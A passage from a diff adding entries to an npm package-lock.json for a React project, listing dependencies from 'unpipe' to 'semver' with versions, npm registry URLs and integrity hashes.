+        "unpipe": "1.0.0"
+      },
+      "dependencies": {
+        "bytes": {
+          "version": "3.1.2",
+          "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+          "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="
+        },
+        "iconv-lite": {
+          "version": "0.4.24",
+          "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+          "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+          "requires": {
+            "safer-buffer": ">= 2.1.2 < 3"
+          }
+        }
+      }
+    },
+    "react": {
+      "version": "16.13.1",
+      "resolved": "https://registry.npmjs.org/react/-/react-16.13.1.tgz",
+      "integrity": "sha512-YMZQQq32xHLX0bz5Mnibv1/LHb3Sqzngu7xstSM+vrkE5Kzr9xE0yMByK5kMoTK30YVJE61WfbxIFFvfeDKT1w==",
+      "requires": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1",
+        "prop-types": "^15.6.2"
+      }
+    },
+    "react-app-polyfill": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz",
+      "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==",
+      "requires": {
+        "core-js": "^3.19.2",
+        "object-assign": "^4.1.1",
+        "promise": "^8.1.0",
+        "raf": "^3.4.1",
+        "regenerator-runtime": "^0.13.9",
+        "whatwg-fetch": "^3.6.2"
+      }
+    },
+    "react-dev-utils": {
+      "version": "12.0.1",
+      "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz",
+      "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==",
+      "requires": {
+        "@babel/code-frame": "^7.16.0",
+        "address": "^1.1.2",
+        "browserslist": "^4.18.1",
+        "chalk": "^4.1.2",
+        "cross-spawn": "^7.0.3",
+        "detect-port-alt": "^1.1.6",
+        "escape-string-regexp": "^4.0.0",
+        "filesize": "^8.0.6",
+        "find-up": "^5.0.0",
+        "fork-ts-checker-webpack-plugin": "^6.5.0",
+        "global-modules": "^2.0.0",
+        "globby": "^11.0.4",
+        "gzip-size": "^6.0.0",
+        "immer": "^9.0.7",
+        "is-root": "^2.1.0",
+        "loader-utils": "^3.2.0",
+        "open": "^8.4.0",
+        "pkg-up": "^3.1.0",
+        "prompts": "^2.4.2",
+        "react-error-overlay": "^6.0.11",
+        "recursive-readdir": "^2.2.2",
+        "shell-quote": "^1.7.3",
+        "strip-ansi": "^6.0.1",
+        "text-table": "^0.2.0"
+      },
+      "dependencies": {
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "escape-string-regexp": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+          "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "loader-utils": {
+          "version": "3.2.1",
+          "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.2.1.tgz",
+          "integrity": "sha512-ZvFw1KWS3GVyYBYb7qkmRM/WwL2TQQBxgCK62rlvm4WpVQ23Nb4tYjApUlfjrEGvOs7KHEsmyUn75OHZrJMWPw=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "react-dom": {
+      "version": "16.13.1",
+      "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.13.1.tgz",
+      "integrity": "sha512-81PIMmVLnCNLO/fFOQxdQkvEq/+Hfpv24XNJfpyZhTRfO0QcmQIF/PgCa1zCOj2w1hrn12MFLyaJ/G0+Mxtfag==",
+      "requires": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1",
+        "prop-types": "^15.6.2",
+        "scheduler": "^0.19.1"
+      }
+    },
+    "react-error-overlay": {
+      "version": "6.0.11",
+      "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.0.11.tgz",
+      "integrity": "sha512-/6UZ2qgEyH2aqzYZgQPxEnz33NJ2gNsnHA2o5+o4wW9bLM/JYQitNP9xPhsXwC08hMMovfGe/8retsdDsczPRg=="
+    },
+    "react-is": {
+      "version": "16.13.1",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
+      "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
+    },
+    "react-refresh": {
+      "version": "0.11.0",
+      "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz",
+      "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A=="
+    },
+    "react-scripts": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz",
+      "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==",
+      "requires": {
+        "@babel/core": "^7.16.0",
+        "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3",
+        "@svgr/webpack": "^5.5.0",
+        "babel-jest": "^27.4.2",
+        "babel-loader": "^8.2.3",
+        "babel-plugin-named-asset-import": "^0.3.8",
+        "babel-preset-react-app": "^10.0.1",
+        "bfj": "^7.0.2",
+        "browserslist": "^4.18.1",
+        "camelcase": "^6.2.1",
+        "case-sensitive-paths-webpack-plugin": "^2.4.0",
+        "css-loader": "^6.5.1",
+        "css-minimizer-webpack-plugin": "^3.2.0",
+        "dotenv": "^10.0.0",
+        "dotenv-expand": "^5.1.0",
+        "eslint": "^8.3.0",
+        "eslint-config-react-app": "^7.0.1",
+        "eslint-webpack-plugin": "^3.1.1",
+        "file-loader": "^6.2.0",
+        "fs-extra": "^10.0.0",
+        "fsevents": "^2.3.2",
+        "html-webpack-plugin": "^5.5.0",
+        "identity-obj-proxy": "^3.0.0",
+        "jest": "^27.4.3",
+        "jest-resolve": "^27.4.2",
+        "jest-watch-typeahead": "^1.0.0",
+        "mini-css-extract-plugin": "^2.4.5",
+        "postcss": "^8.4.4",
+        "postcss-flexbugs-fixes": "^5.0.2",
+        "postcss-loader": "^6.2.1",
+        "postcss-normalize": "^10.0.1",
+        "postcss-preset-env": "^7.0.1",
+        "prompts": "^2.4.2",
+        "react-app-polyfill": "^3.0.0",
+        "react-dev-utils": "^12.0.1",
+        "react-refresh": "^0.11.0",
+        "resolve": "^1.20.0",
+        "resolve-url-loader": "^4.0.0",
+        "sass-loader": "^12.3.0",
+        "semver": "^7.3.5",
+        "source-map-loader": "^3.0.0",
+        "style-loader": "^3.3.1",
+        "tailwindcss": "^3.0.2",
+        "terser-webpack-plugin": "^5.2.5",
+        "webpack": "^5.64.4",
+        "webpack-dev-server": "^4.6.0",
+        "webpack-manifest-plugin": "^4.0.2",
+        "workbox-webpack-plugin": "^6.4.1"
+      }
+    },
+    "read-cache": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+      "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+      "requires": {
+        "pify": "^2.3.0"
+      }
+    },
+    "readable-stream": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+      "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+      "requires": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      }
+    },
+    "readdirp": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+      "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+      "requires": {
+        "picomatch": "^2.2.1"
+      }
+    },
+    "recursive-readdir": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz",
+      "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==",
+      "requires": {
+        "minimatch": "^3.0.5"
+      }
+    },
+    "redent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
+      "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
+      "requires": {
+        "indent-string": "^4.0.0",
+        "strip-indent": "^3.0.0"
+      }
+    },
+    "regenerate": {
+      "version": "1.4.2",
+      "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
+      "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A=="
+    },
+    "regenerate-unicode-properties": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz",
+      "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==",
+      "requires": {
+        "regenerate": "^1.4.2"
+      }
+    },
+    "regenerator-runtime": {
+      "version": "0.13.9",
+      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz",
+      "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA=="
+    },
+    "regenerator-transform": {
+      "version": "0.15.0",
+      "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz",
+      "integrity": "sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==",
+      "requires": {
+        "@babel/runtime": "^7.8.4"
+      }
+    },
+    "regex-parser": {
+      "version": "2.2.11",
+      "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.2.11.tgz",
+      "integrity": "sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q=="
+    },
+    "regexp.prototype.flags": {
+      "version": "1.4.3",
+      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz",
+      "integrity": "sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "functions-have-names": "^1.2.2"
+      }
+    },
+    "regexpp": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz",
+      "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg=="
+    },
+    "regexpu-core": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.2.1.tgz",
+      "integrity": "sha512-HrnlNtpvqP1Xkb28tMhBUO2EbyUHdQlsnlAhzWcwHy8WJR53UWr7/MAvqrsQKMbV4qdpv03oTMG8iIhfsPFktQ==",
+      "requires": {
+        "regenerate": "^1.4.2",
+        "regenerate-unicode-properties": "^10.1.0",
+        "regjsgen": "^0.7.1",
+        "regjsparser": "^0.9.1",
+        "unicode-match-property-ecmascript": "^2.0.0",
+        "unicode-match-property-value-ecmascript": "^2.0.0"
+      }
+    },
+    "regjsgen": {
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.7.1.tgz",
+      "integrity": "sha512-RAt+8H2ZEzHeYWxZ3H2z6tF18zyyOnlcdaafLrm21Bguj7uZy6ULibiAFdXEtKQY4Sy7wDTwDiOazasMLc4KPA=="
+    },
+    "regjsparser": {
+      "version": "0.9.1",
+      "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz",
+      "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==",
+      "requires": {
+        "jsesc": "~0.5.0"
+      },
+      "dependencies": {
+        "jsesc": {
+          "version": "0.5.0",
+          "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
+          "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA=="
+        }
+      }
+    },
+    "relateurl": {
+      "version": "0.2.7",
+      "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
+      "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog=="
+    },
+    "renderkid": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz",
+      "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==",
+      "requires": {
+        "css-select": "^4.1.3",
+        "dom-converter": "^0.2.0",
+        "htmlparser2": "^6.1.0",
+        "lodash": "^4.17.21",
+        "strip-ansi": "^6.0.1"
+      }
+    },
+    "require-directory": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+      "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="
+    },
+    "require-from-string": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+      "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw=="
+    },
+    "requires-port": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+      "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="
+    },
+    "resolve": {
+      "version": "1.22.1",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz",
+      "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==",
+      "requires": {
+        "is-core-module": "^2.9.0",
+        "path-parse": "^1.0.7",
+        "supports-preserve-symlinks-flag": "^1.0.0"
+      }
+    },
+    "resolve-cwd": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
+      "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
+      "requires": {
+        "resolve-from": "^5.0.0"
+      }
+    },
+    "resolve-from": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+      "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="
+    },
+    "resolve-url": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
+      "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo="
+    },
+    "resolve-url-loader": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz",
+      "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==",
+      "requires": {
+        "adjust-sourcemap-loader": "^4.0.0",
+        "convert-source-map": "^1.7.0",
+        "loader-utils": "^2.0.0",
+        "postcss": "^7.0.35",
+        "source-map": "0.6.1"
+      },
+      "dependencies": {
+        "picocolors": {
+          "version": "0.2.1",
+          "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
+          "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA=="
+        },
+        "postcss": {
+          "version": "7.0.39",
+          "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
+          "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==",
+          "requires": {
+            "picocolors": "^0.2.1",
+            "source-map": "^0.6.1"
+          }
+        }
+      }
+    },
+    "resolve.exports": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.0.tgz",
+      "integrity": "sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ=="
+    },
+    "retry": {
+      "version": "0.13.1",
+      "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
+      "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg=="
+    },
+    "reusify": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+      "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw=="
+    },
+    "rimraf": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+      "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "requires": {
+        "glob": "^7.1.3"
+      }
+    },
+    "rollup": {
+      "version": "2.79.2",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.2.tgz",
+      "integrity": "sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==",
+      "requires": {
+        "fsevents": "~2.3.2"
+      }
+    },
+    "rollup-plugin-terser": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz",
+      "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==",
+      "requires": {
+        "@babel/code-frame": "^7.10.4",
+        "jest-worker": "^26.2.1",
+        "serialize-javascript": "^4.0.0",
+        "terser": "^5.0.0"
+      },
+      "dependencies": {
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-worker": {
+          "version": "26.6.2",
+          "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz",
+          "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==",
+          "requires": {
+            "@types/node": "*",
+            "merge-stream": "^2.0.0",
+            "supports-color": "^7.0.0"
+          }
+        },
+        "serialize-javascript": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
+          "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+          "requires": {
+            "randombytes": "^2.1.0"
+          }
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "run-parallel": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+      "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+      "requires": {
+        "queue-microtask": "^1.2.2"
+      }
+    },
+    "safe-buffer": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+    },
+    "safe-regex-test": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz",
+      "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "get-intrinsic": "^1.1.3",
+        "is-regex": "^1.1.4"
+      }
+    },
+    "safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+    },
+    "sanitize.css": {
+      "version": "13.0.0",
+      "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz",
+      "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA=="
+    },
+    "sass-loader": {
+      "version": "12.6.0",
+      "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz",
+      "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==",
+      "requires": {
+        "klona": "^2.0.4",
+        "neo-async": "^2.6.2"
+      }
+    },
+    "sax": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
+      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
+    },
+    "saxes": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
+      "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
+      "requires": {
+        "xmlchars": "^2.2.0"
+      }
+    },
+    "scheduler": {
+      "version": "0.19.1",
+      "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz",
+      "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==",
+      "requires": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1"
+      }
+    },
+    "schema-utils": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
+      "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
+      "requires": {
+        "@types/json-schema": "^7.0.8",
+        "ajv": "^6.12.5",
+        "ajv-keywords": "^3.5.2"
+      }
+    },
+    "select-hose": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
+      "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg=="
+    },
+    "selfsigned": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.1.1.tgz",
+      "integrity": "sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ==",
+      "requires": {
+        "node-forge": "^1"
+      }
+    },
+    "semver": {
+      "version": "7.5.4",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz",
